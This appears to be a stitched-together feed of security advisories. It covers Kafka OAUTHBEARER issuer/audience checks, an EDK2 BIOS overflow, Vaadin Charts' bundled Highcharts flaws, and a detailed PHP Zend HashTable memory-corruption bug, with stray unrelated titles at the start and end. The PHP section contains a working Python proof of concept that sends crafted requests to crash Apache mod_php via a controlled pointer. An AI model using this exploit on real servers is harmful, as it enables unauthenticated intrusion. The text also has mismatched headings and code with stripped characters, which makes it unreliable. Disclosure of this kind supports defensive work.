socket.getaddrinfo() accepts embedded null bytes in host and port
A Kafka broker that authenticates clients with SASL/OAUTHBEARER using the bundled JWKS-backed validator always verifies the JWT signature, but two further checks are only performed when explicitly configured:
- The issuer (iss) claim is verified only when sasl.oauthbearer.expected.issuer is set. When it is unset, a validly-signed token carrying the expected audience is accepted regardless of which issuer minted it. - An audience (aud) claim is required only when sasl.oauthbearer.expected.audience is set. When it is unset, a validly-signed token that omits the aud claim is accepted. (A token that carries an aud claim is still rejected when no expected audience is configured.)
Both options default to unset and have been documented as optional (Importance LOW) since KIP-768 (3.1.0).
Impact: The exposure is realizable mainly in deployments whose JWKS endpoint serves signing keys for more than one issuer (a multi-tenant identity provider, an aggregated/shared JWKS, or shared signing keys): a token minted for a different issuer, or a token lacking an audience, may be accepted to authenticate — potentially as a higher-privileged principal. In a single-issuer deployment where the provider controls the iss claim and issues audience-scoped tokens, exposure is limited. The signature trust anchor remains enforced in all cases. This is distinct from CVE-2026-33557 (acceptance of unsigned/unvalidated tokens); here the signature is validated and only the issuer/audience checks are not enforced by default.
Mitigation (all affected versions, no upgrade required): Set both sasl.oauthbearer.expected.issuer (to your provider's exact iss value) and sasl.oauthbearer.expected.audience (to the audience(s) your brokers expect), per listener. Brokers that set these perform exact-match issuer/audience checks and are not affected. Both have been available since 3.1.0.
Resolution: - From Apache Kafka 4.4.0: a broker configured with a JWKS endpoint fails to start unless both sasl.oauthbearer.expected.issuer and sasl.oauthbearer.expected.audience are set (secure by default). Deployments that intentionally do not restrict the issuer and/or audience may opt out per axis with sasl.oauthbearer.allow.unverified.issuer=true and/or sasl.oauthbearer.allow.unverified.audience=true.
EDK2 contains a vulnerability in BIOS where a user may cause “Out-of-bounds Write”, Classic Buffer Overflow, and “Incorrect Calculation of Buffer Size” by remote access. Successful exploitation of this vulnerability can lead to arbitrary code execution. It could also impact Confidentiality, Integrity, and Availability.
Vaadin Charts renders charts with the Highcharts library and pins an exact version of it, 9.2.2 in Vaadin 22 to 24 and 12.2.0 in Vaadin 25, so an application cannot remove these vulnerabilities by upgrading Highcharts on its own. Highsoft disclosed several vulnerabilities in that library that are reachable through the chart configuration: writes to Object.prototype through dotted series.keys paths, and cross-site scripting through credits.href, through breadcrumbs.style, through HTML text parsing while printing, and through xlink:href attributes in exported charts. An application is affected where data an attacker controls reaches the chart configuration, for example through additionalOptions, through updateConfiguration(), or through text options that accept markup. The fixed Vaadin versions apply Highsoft's recommended workarounds to the bundled Highcharts when it loads, and keep the same Highcharts version.
Users of affected versions should apply the following mitigation or upgrade. Releases that have fixed this issue include:
Product version Vaadin 22.0.0 - 23.6.15 Vaadin 24.0.0 - 24.4.23 Vaadin 24.5.0 - 24.7.15 Vaadin 24.8.0 - 24.9.22 Vaadin 24.10.0 - 24.10.10 Vaadin 25.0.0 - 25.2.9 Vaadin 25.3.0
Mitigation Upgrade to 23.6.16 Upgrade to 24.4.24 Upgrade to 24.7.16 Upgrade to 24.9.23 Upgrade to 24.10.11 Upgrade to 25.2.10 Upgrade to 25.3.1 or newer
Please note that Vaadin versions 10-13 and 15-22 are no longer supported and you should update either to the latest 23, 24, 25 version.
Artifacts Maven coordinates / Vulnerable versions / Fixed version com.vaadin:vaadin / 22.0.0 - 23.6.15 / >=23.6.16 com.vaadin:vaadin / 24.0.0 - 24.4.23 / >=24.4.24 com.vaadin:vaadin / 24.5.0 - 24.7.15 / >=24.7.16 com.vaadin:vaadin / 24.8.0 - 24.9.22 / >=24.9.23 com.vaadin:vaadin / 24.10.0 - 24.10.10 / >=24.10.11 com.vaadin:vaadin / 25.0.0 - 25.0.13 / >=25.2.10 com.vaadin:vaadin / 25.1.0 - 25.1.13 / >=25.2.10 com.vaadin:vaadin / 25.2.0 - 25.2.9 / >=25.2.10 com.vaadin:vaadin / 25.3.0 / >=25.3.1 com.vaadin:vaadin-charts-flow / 22.0.0 - 23.6.15 / >=23.6.16 com.vaadin:vaadin-charts-flow / 24.0.0 - 24.4.22 / >=24.4.24 com.vaadin:vaadin-charts-flow / 24.5.0 - 24.7.14 / >=24.7.15 com.vaadin:vaadin-charts-flow / 24.8.0 - 24.9.22 / >=24.9.23 com.vaadin:vaadin-charts-flow / 24.10.0 - 24.10.10 / >=24.10.11 com.vaadin:vaadin-charts-flow / 25.0.0 - 25.0.13 / >=25.2.10 com.vaadin:vaadin-charts-flow / 25.1.0 - 25.1.13 / >=25.2.10 com.vaadin:vaadin-charts-flow / 25.2.0 - 25.2.9 / >=25.2.10 com.vaadin:vaadin-charts-flow / 25.3.0 / >=25.3.1 com.vaadin:vaadin-charts-flow-svg-generator / 21.0.0 - 23.6.15 / >=23.6.16 com.vaadin:vaadin-charts-flow-svg-generator / 24.0.0 - 24.4.22 / >=24.4.24 com.vaadin:vaadin-charts-flow-svg-generator / 24.5.0 - 24.7.14 / >=24.7.15 com.vaadin:vaadin-charts-flow-svg-generator / 24.8.0 - 24.9.22 / >=24.9.23 com.vaadin:vaadin-charts-flow-svg-generator / 24.10.0 - 24.10.10 / >=24.10.11 com.vaadin:vaadin-charts-flow-svg-generator / 25.0.0 - 25.0.13 / >=25.2.10 com.vaadin:vaadin-charts-flow-svg-generator / 25.1.0 - 25.1.13 / >=25.2.10 com.vaadin:vaadin-charts-flow-svg-generator / 25.2.0 - 25.2.9 / >=25.2.10 com.vaadin:vaadin-charts-flow-svg-generator / 25.3.0 / >=25.3.1
npm packages npm package / Vulnerable versions / Fixed version @vaadin/charts / 22.0.0 - 23.6.6 / >=23.6.7 @vaadin/charts / 24.0.0 - 24.4.18 / >=24.4.19 @vaadin/charts / 24.5.0 - 24.7.12 / >=24.7.13 @vaadin/charts / 24.8.0 - 24.9.18 / >=24.9.19 @vaadin/charts / 24.10.0 - 24.10.6 / >=24.10.7 @vaadin/charts / 25.0.0 - 25.0.13 / >=25.2.14 @vaadin/charts / 25.1.0 - 25.1.14 / >=25.2.14 @vaadin/charts / 25.2.0 - 25.2.13 / >=25.2.14 @vaadin/charts / 25.3.0 / >=25.3.1
PHP Zend HashTable raw-key partial-insertion memory corruption (CAND-049)
Affected component: Zend/zendhash.c, raw-string insertion APIs
Summary
PHP can publish an uninitialized HashTable Bucket when a raw-string key allocation fatals. An unauthenticated modphp request can reach the bug before the target script runs; later cleanup consumes stale attacker-influenced zval and key pointers. The resulting critical engine corruption has been developed into disclosure, arbitrary-free/UAF primitives, and native code execution.
Details
Affected versions and introduction
The unsafe optimization was introduced by php-src commit:
text 6de54703f055231603816495c55e6e1924cb5e71 Improved zendhashstradd/update functions
The previous raw-string wrappers allocated the zendstring before entering the insertion helper. The optimized missing-key branch instead deferred that fallible allocation until after live-table metadata was modified.
- First affected release: PHP 7.3.0. - Source-confirmed affected minor lines: PHP 7.3, 7.4, 8.0, 8.1, 8.2, 8.3, 8.4, 8.5, and the audited PHP 8.6 development revision. - Total affected minor release lines: 9. - PHP 7.2 and earlier do not contain this exact raw-key ordering.
The version range was derived from source history. Natural network validation and exploit validation cover representative optimized packages and current development builds rather than every historic binary.
Vulnerability root versus triggering fatal
The vulnerability is the nontransactional ownership transition, not memorylimit or OOM. Any non-local exit after the two counters advance and before the Bucket is initialized can leave the false live entry. A memory- limit fatal is the demonstrated network-reachable interruption because it occurs synchronously during the owned-key allocation.
Three conditions are distinct:
1. A producer inserts a missing nonnumeric raw string key. 2. A fatal/bailout interrupts the key allocation after publication. 3. A surviving owner is later traversed or destroyed.
An ordinary “Allowed memory size exhausted” response does not prove CAND-049. Allocations before publication, table growth, and cleanup of an abandoned temporary all fail safely. The fatal must occur in the owned-key allocation, and a later consumer must trust the advanced live-entry count.
The helper has no known user callback or regular VM-interrupt checkpoint in this narrow window. OOM is therefore the primary confirmed remote mechanism. A signal or timeout that only terminates the process is not equivalent to the malformed-table condition.
Technical root cause
The missing-key path in zendhashstraddorupdatei() checks capacity and then advances both live-entry counters before allocating the key:
c ZENDHASHIFFULLDORESIZE(ht);
addtohash: idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx;
p->key = key = zendstringinit( str, len, GCFLAGS(ht) & ISARRAYPERSISTENT);
p->h = ZSTRH(key) = h; HTFLAGS(ht) &= ~HASHFLAGSTATICKEYS; ZVALCOPYVALUE(&p->val, pData); / link Bucket into hash index /
zendstringinit() can raise a memory-limit fatal and never return. At that point:
- nNumUsed and nNumOfElements claim the Bucket is live; - the Bucket's zval, hash, key pointer, and collision link are stale bytes; - PHP never initialized or owned the key; and - the Bucket is absent from the hash index.
This last condition creates an observable inconsistency: key lookup cannot find the entry, while linear consumers use nNumUsed and include it. The generic HashTable destructor does exactly that:
c Bucket p = ht->arData; Bucket end = p + ht->nNumUsed;
do { izvalptrdtor(&p->val); if (EXPECTED(p->key)) { zendstringreleaseex(p->key, false); } } while (++p != end);
Stale p->val controls which zval cleanup branch runs; stale p->key controls an independent string reference decrement/release. Reuse can make either field point to live data allocated after the failed insertion.
Affected APIs
Affected missing-nonnumeric-key paths include:
- zendhashstradd() and zendhashstraddnew(); - zendhashstrupdate() and zendhashstrupdateind(); - zendhashstrlookup(); and - raw-string wrappers that reach the same internal missing-key branch.
zendsymtablestr() is affected when the supplied key is nonnumeric. Numeric-index insertion and insertion using an already allocated zendstring do not contain this exact post-counter allocation. Existing- key replacement also bypasses the missing-key publication window.
Generic request-variable entry point
Bracketed variables cause phpregistervariableex() to create missing intermediate arrays. The missing root is passed as a raw pointer/length:
c gpcelementp = zendsymtablestrfind(symtable1, index, indexlen); if (!gpcelementp) { zval tmp; arrayinit(&tmp); gpcelementp = zendsymtablestrupdateind( symtable1, index, indexlen, &tmp); }
The resulting path is:
text form parser -> phpregistervariableex() -> zendsymtablestrupdateind() -> zendhashstrupdateind() -> zendhashstraddorupdatei()
The following distinction is load-bearing:
text name=value normally uses a prebuilt key name[child]=value missing nonnumeric root reaches CAND-049 123[child]=value numeric-index path, not this allocation window
One nested variable still counts as one input against maxinputvars; no over-limit nesting is required.
At the stock 128 MiB limit, CAND-072's empty-upload metadata expansion or CAND-056's lengthless multipart stream supplies the required pressure before a final missing nested root. Both producers reach this helper before a fixed target file executes; neither changes the CAND-049 ownership root.
SAPI and lifetime boundaries
Apache modphp wraps request startup in a bailout handler and subsequently runs its request destructor:
c zendfirsttry { if (phpapacherequestctor(r, ctx) != SUCCESS) { zendbailout(); } } zendendtry();
if (!parentreq) { phpapacherequestdtor(r); }
This supplies all three requirements: native request parsing produces the malformed entry, the request-global table survives the fatal, and shutdown linearly destroys it. The persistent child can also retain allocator state across requests. The confirmed generic production boundary is NTS prefork; threaded module configurations share the root but require independent lifetime analysis.
FPM's automatic startup-failure branch normally finishes the FastCGI request and terminates that worker. It therefore confirms the source fault but does not run the same stale-Bucket consumer or reuse the allocator. FPM becomes materially exposed when application code invokes an affected parser after normal startup and stores the incomplete table in a global, object, resource, or temporary PHP-global slot that shutdown later consumes.
PHP 8.4+'s requestparsebody() is a strong example: it temporarily replaces global POST/FILES zvals and restores them only after parsing returns. A fatal skips restoration while normal FPM request shutdown remains active. Frameworks that call it for non-POST methods can reach the producer, but route exposure, remaining memory, owner, and final consumer are application-specific. The source defect must not be described as generic FPM RCE without those links.
Recommended fix
Restore transactional ordering by allocating the key before publishing the new Bucket:
diff addtohash: + key = zendstringinit( + str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx; - p->key = key = zendstringinit( - str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); + p->key = key;
Alternatively, all non-local failure paths must roll back both counters and leave a zeroed, unreachable, destructor-safe slot. Fixing callers or adding request-specific checks leaves the shared API vulnerable to another owner.
Regression tests should inject failure at every allocation in missing-key insertion and then perform lookup, iteration, destruction, copy, merge, and request shutdown. Tests should cover each exported raw-key wrapper and both packed-to-mixed and already-mixed tables.
PoC
The smallest network PoC uses Ubuntu 26.04 arm64's packaged PHP 8.5.4 NTS modphp with memorylimit=32M, postmaxsize=8M, and displayerrors=Off. Only the memory limit is reduced to keep the request short; the stock-limit paths are described above. Serve:
php <?php echo "hi\n";
Run this Python client:
python import socket, struct from urllib.parse import quotefrombytes
host, port, target = "127.0.0.1", 80, "/index.php"
def request(method, path, body=b"", contenttype=None): h = [f"{method} {path} HTTP/1.1", f"Host: {host}", "Connection: close", f"Content-Length: {len(body)}"] if contenttype: h.append(f"Content-Type: {contenttype}") wire = ("\r\n".join(h) + "\r\n\r\n").encode() + body try: with socket.createconnection((host, port), 10) as s: s.settimeout(60); s.sendall(wire); out = b"" while data := s.recv(65536): out += data return out except OSError: return b""
warm = b"&".join(b"w%d=" % i + b"W" 264 for i in range(8)) request("POST", target, warm, "application/x-www-form-urlencoded") request("POST", target, warm, "application/x-www-form-urlencoded")
fake = struct.pack("<QIIQQ", 0x1122334455667788, 4, 0, 0x1337, 0x4141414141414141) donor = b"CONTROLLEDBUCKET".ljust(232, b"D") + fake query = [] for i in range(9): value = donor if i == 2 else (b"Q%d" % i).ljust(264, b"A") query.append("q%d=%s" % (i, quotefrombytes(value, safe=""))) query += ["q%d=U" % i for i in (6, 0, 1, 2, 3, 4)]
prefix = [b"p%d=" % i + b"V" 264 for i in range(6)] body = b"&".join(prefix + [b"R" 7700000 + b"[x]=v"]) response = request("POST", target + "?" + "&".join(query), body, "application/x-www-form-urlencoded") print(response.partition(b"\r\n")[0] or b"EOF")
The final key allocation emits the 32 MiB OOM, but modphp then destroys the partially published Bucket and dereferences 0x4141414141414141; the affected Apache child exits with SIGSEGV. A version changing the last qword to zero is the noncrashing donor control. The target's hi is never printed.
Impact
Unauthenticated engine memory corruption before application execution, with validated disclosure, arbitrary-free/UAF primitives, and native code execution under modphp.
exec: Cleanup POSIX timers right after dethread()